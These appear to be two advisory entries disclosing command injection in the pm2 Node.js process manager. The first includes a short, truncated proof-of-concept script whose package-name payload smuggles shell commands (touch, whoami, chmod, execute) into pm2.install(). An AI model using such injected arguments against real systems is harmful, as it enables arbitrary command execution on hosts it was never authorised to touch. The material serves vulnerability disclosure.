    Command Injection

    pm2 is a production process manager for Node.js applications with a built-in load balancer.

    Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import() function when tar.gz archive is installed with a name provided as user controlled input.

    // pm2_exploit.js
    
    'use strict'
    const pm2 = require('pm2')
    
    // payload - user controllable input
    const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"
    
    pm2.connect(function(err) {
        if (err) {
            console.error(err)
            process.exit(2)
        }
    
        pm2.start({
    
        }, (err, apps) => {
            pm2.install(payload, {}) // injection
            pm2.disconnect()

                throw err

    Command Injection

    pm2 is a production process manager for Node.js applications with a built-in load balancer.

    Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install() method within lib/API/Modules/Modularizer.js as an unsanitized module_name variable. This input is eventually provided to the spawn() function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH command.
